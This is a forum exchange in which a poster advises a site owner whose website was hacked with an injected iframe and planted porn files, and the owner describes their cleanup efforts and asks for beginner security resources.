You've been hacked by some Russian. Get rid of the iframe, check for other corrupted files, update any canned scripts (forums, stores, galleries, blogs, etc.) to the current version, change your passwords, scan your PC for spyware (especially keystroke loggers and password sniffers).
I have done most of what you suggested - that which I know how to do. Admitting defeat, I requested that Lunar Pages reset my site to default but they do not offer this. Told me I had to delete unwanted files myself - of which there were a TON...all porn. Very disturbing to see these files had been installed on my website and the traffic to/from them was mind boggling.
I will root around for more info here in the forum on how to lock my site down tight (other than the obvious - use strong passwords changed often) but if you can direct me to any threads related to this for newbies I would very much appreciate it. I see that you consult and have visited your website. Thank you for your reply.
